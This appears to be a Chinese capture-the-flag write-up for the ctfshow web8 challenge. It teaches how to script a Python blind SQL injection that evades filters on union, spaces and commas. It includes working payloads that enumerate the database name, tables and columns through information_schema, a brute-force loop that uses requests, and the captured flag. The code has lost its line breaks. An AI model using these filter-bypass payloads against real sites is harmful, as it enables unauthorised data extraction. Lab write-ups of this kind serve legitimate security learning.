ctfshow web8
前言
学习内容:简单的盲注脚本的书写
web8
这个题目题目手动注入很麻烦 主要是他过滤了 union 空格和'
过滤了union的解决方法
1、使用盲注(报错注入和盲注)
2、使用时间盲注
3、堆叠注入
盲注脚本的书写
首先他是有注入点的
然后熟悉requests包的使用
requests包
第一步就是导入包
如果你没下载的话需要你去 pip3 install requests
发现一堆这个报错
这个是因为 没有 设置web的ssl证书 把https改为http就行了
或者是进行关闭证书验证
x = requests.get( 'http://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/1=1', verify=False)
验证成功 可以查看返回的内容
为了方便也可以写入到文件中去
前置知识说完就开始写脚本
脚本的书写
他过滤了 union 那我们还是可以进行数据库的查询的
其实我们写脚本是不用判断他的数据库啊 表啊的长度是多少的 只要我们多写几个循坏就能搞定
发现使用这个 也会报错 说明这个 , 可能也是被过滤了
这个形式不懂的可以搜一下 其实就是和 , 一样 from是开始的位数 for是步长
https://a3e68ff9-c655-4e31-ab39-0b6fdb1aa5aa.challenge.ctf.show/index.php?id=1/**/or/**/ascii(substr(database()from/**/1/**/for/**/1))%3E97
这个就是我们的payload
如果我们输入成功就会出现页面 这个可以作为我们一个成功的特征
先写这些 循坏如果是遍历这个 数据库名字的话可以小一些 主要是第二个占位符需要使用 ascii 码进行遍历
payload%(i,j) 就是表示进行站位符的赋值
发送payload
组合一下是不是就是我们上面的那个 然后再写就是判断正确的返回
根据上面的
发现只有成功才会返回if页面不然就是空的 所以我们判断就是if是不是在返回中
但是这个样子很容易卡死或者 无限循坏 所以需要带个终止的
优化一下 需要注意把 url换为 http开头的
运行
源码:
import requestsurl="http://1391be5a-661f-4210-a5a8-ee142d9ad5f7.challenge.ctf.show/index.php?id=-1/**/or/**/" #定义为这样为了后面拼接payload
result="" #定义一个结果for i in range(1,45):# payload="ascii(substr(database()from/**/%d/**/for/**/1))=%d" #%d就是这个预处理的占位符 这边我们可以是变化的所以就不需要禁下定义 后面执行的时候再给他定义payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'print(f"正在获取第{i}个字符")count=0for j in range(32,127):x=requests.get(url+payload%(i,j),verify=False)if 'If' in x.text:result+=chr(j)print(f"当前的结果{result}")breakcount+=1if count>(127-32):exit()
获取表 :
字段:
# 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据# 修改后的payload(注意空格处理)
ctfshow{0f009533-475d-471f-a190-0b795f068b5a}